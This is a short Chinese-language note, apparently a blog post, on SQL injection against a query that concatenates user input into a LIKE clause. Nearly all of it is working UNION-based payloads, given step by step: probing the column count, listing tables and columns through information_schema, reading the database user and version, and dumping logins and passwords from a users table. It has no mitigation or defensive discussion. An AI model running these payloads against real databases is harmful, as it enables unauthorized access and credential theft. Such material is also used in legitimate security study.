在sql语句执行中,通常涉及到安全方面的问题,例如sql 注入等;该文章记录一些存在注入漏洞时,常用的一些sql 语法。
示例 1. 获取数据库用户信息
当后端使用了sql 字符串拼接的方式进行数据查询时:
# 后端原始查询语句
select * from movies where title like '%' + title + '%';
当输入 title 内容为 ’ union select 1,2 – 时,拼接后的 sql 语句如下:
select * from movies where title like '%' union select 1, 2 -- %';
如果movies表中列的个数不为 2 时,则会提示错误:
Error: The used SELECT statements have a different number of columns
逐次增加 1,2 的个数即可得出 movies 表的列个数 。
对 title 变量进行进一步修改,得到如下语句,将输出对应的user、版本等信息:
select * from movies where title like '%' union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() -- %';
从上面语句的执行结果可以看到全部的 table_name;假设输出中 table_name 列中有 users 表,则可以进一步拼接sql如下:
select * from movies where title like '%' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' -- %';
通过字段名称,可以找到敏感的列信息:
select * from movies where title like '%' union select 1,id,login,4,password,6,7 from users -- %';
这样就可以获取数据库中存储的用户信息,一切操作均是有输入引发,以此达到sql 注入攻击效果。
(待更新…)